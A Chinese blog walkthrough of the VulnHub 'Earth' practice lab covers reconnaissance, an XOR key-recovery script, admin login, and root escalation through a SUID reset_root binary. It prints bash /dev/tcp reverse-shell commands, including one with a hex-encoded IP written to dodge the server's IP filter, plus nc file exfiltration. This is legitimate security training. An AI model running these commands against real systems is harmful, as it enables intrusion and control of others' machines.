首页 > 技术文章 > 打靶笔记-07-vulnhub-Earth

wthuskyblog 2022-03-21 09:01 原文

打靶笔记-07-vulnhub-Earth

一、靶机信息

Name: The Planets: Earth
Difficulty: Easy
Date release: 2 Nov 2021
Author: SirFlash
Series: The Planets

Earth.ova (Size: 2.0 GB)
Download (Mirror): https://download.vulnhub.com/theplanets/Earth.ova

Filename: Earth.ova
File size: 2.0 GB
MD5: 7577F9CB54D024FD2283C998BCC8C173
SHA1: 6476ACC056C32E09377B5403126FB0B34DBEA0A7

目标:There are two flags on the box: a user and root flag which include an md5 hash.

二、启动靶机

2.1 校验靶机

Img

2.2 导入Vbox,配置网络为vmnet8

Img

2.3 打快照,启动靶机

Img

三、开始渗透

3.1 主机发现

ifconfig
sudo arp-scan -I eth0 -l

Img
发现目标机器IP:172.16.95.143

3.2 端口&服务发现

sudo nmap -p- 172.16.95.143
sudo nmap -p22,80,443 -sV -Pn -sT -sC 172.16.95.143

Img
开放端口22,80,443,还有两个子域名earth.local,terratest.earth.local,还有服务的版本号也发现了。

3.3 访问服务

3.3.1 80端口

Img
如同nmap扫描结果,是400错误

3.3.2 443端口

  1. 直接IP访问
    Img
    ip访问是Fedora Webserver Test Page页面,尝试使用域名访问
  2. 修改hosts记录
sudo vim /etc/hosts
    172.16.95.143 earth.local terratest.earth.local
wq

Img
这儿有个坑,就是不要添加为两行,如下,不然第二个域名会访问不到,下面是我之前添加的,导致后面走了弯路
Img
3. 使用域名访问
Img
earth.local页面中的图片是正常图片,然后这个页面还有个类似留言板的东西,随便提交了几个,在下面输出了内容,有点像是将提交内容进行了什么算法运算:
Img
terratest.earth.local是个测试页面
Img

3.4 目录扫描

dirsearch -u https://earth.local/ 

Img
很快就发现了三个页面 /admin/admin/?/login/admin/login
分别访问一下:
Img
手动测试了一下sql注入,好像没有,一会儿丢sqlmap里跑一下,然后换个字典继续扫一下目录,两个域名都扫一下

dirbuster

Img
扫了半天,就扫出了个图标文件夹,也没啥用,跑另一个域名看看
Img
多了个robots.txt,看看去
Img
其他的挺正常的,不过出现了一个特殊的,没有后缀名,可以尝试爆破一下,看下是什么东西,最后发现是txt的后缀:
Img
可以看到这是个关于测试的一些事项,提到了加密方式是XOR encryption,地球那边已经确认收到了加密过后的消息,提到了一个文件testdata.txt被用来测试这个加密,terra是管理门户的用户名。剩下的就是测试中的Todolist了。

3.5 思考

到这儿,联想之前的earth.local页面,这个页面是将MESSAGE和MESSAGE KEY进行了XOR运算,得出了Previous Messages。结合XOR的规律,可知只要知道其中两个即可推算出另一个。现在有一个测试的Message:testdata.txt,然后页面已经有三条Previous Messages,所以可以尝试推算一下这三条的Message Key。

3.6 XOR解密

  1. 先访问一下testdata.txt,把它搞下来
    Img
wget https://terratest.earth.local/testdata.txt --no-check-certificate

避坑
这儿有个大坑,如果是使用wget下载的testdata.txt,那么末尾会有/n,导致计算出结果不一致,无法算出正确密码。
解决办法就是在read()后添加了strip()函数,耽误了很久,不知道网上那些神人怎么算出来正确的,=-=,如下是我比较了直接复制和wget下载文件内容的脚本:

text="According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."
text=text.encode()
f=open("testdata.txt","rb").read()

print(text)
print(f)
print(text==f)

Img
2. python整一个脚本

import binascii
import sys

p_message='2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a'
message_file=sys.argv[1].strip()
b_message=open(message_file,'rb').read().strip()
a_message=binascii.b2a_hex(b_message).decode()
a_key=hex(int(p_message,16)^int(a_message,16))
b_key=binascii.a2b_hex(a_key[2:])
print(b_key.decode())
  1. 开始解密
python2 xor testdata.txt

Img
找到key:earthclimatechangebad4humans

3.7 登陆后台

拿到密码之后,结合之前hint中的用户名terra,可以登陆后台了
Img
看起来像是个命令执行接口,让我们小心使用
Img

3.8 命令执行,反弹shell

bash -c 'exec bash -i &>/dev/tcp/172.16.95.133/6666 <&1'

Img
禁止远程连接,那就先翻一翻有啥吧:
Img
Img
拿到一个flag.txt,继续翻看
ls /var/www/html/terratest.earth.local
Img
最后翻到forms.py源码的时候,发现了之前拦截返回的消息,仔细看是服务器段采用了正则对IP进行数字匹配,那么反弹shell的时候将IP转换一下应该就可以
cat /var/earth_web/secure_message/forms.py
Img
Img

bash -c 'exec bash -i &>/dev/tcp/0xAC105F85/6666 <&1'

Img
反弹成功

3.9 升级shell,提权

tty
which python python2 python3
python -c 'import pty;pty.spawn("bin/bash")'
export TERM=xterm-256color
CTRL+Z
stty raw -echo;fg 

Img

find / -perm -u=s -type f 2>/dev/null

找到个看似重置root的一个脚本,尝试执行一下
Img
失败了,提示没有触发条件,看看触发条件是什么,结果乱码,查看其他大佬文章说要用strace(又Get到一个工具)进行调试,不过目标机器没有,使用nc传回kali

nc -lvvp 8888 >reset_root
nc  172.16.95.133 8888 < /usr/bin/reset_root
chmod +x reset_root
./reset_root
file ./reset_root
strace ./reset_root

Img
Img
好像是访问不到这三个文件导致的中断,那就靶机上创建一下

cd /dev/shm
touch kHgTFI5G
touch Zw7bV9U5
cd /tmp
touch kcM0Wewe
/usr/bin/reset_root
su

Img
最后拿到flag

四、总结

这个靶场,对于我来说,让我学到了XOR简单的算法,以及py脚本编写,反弹shell绕过思路,居然也有可能是这种方式的拦截和绕过。还接触到了新的工具strace,顺便回顾了以往的知识点。整体来说这个靶场还值得练习。

推荐阅读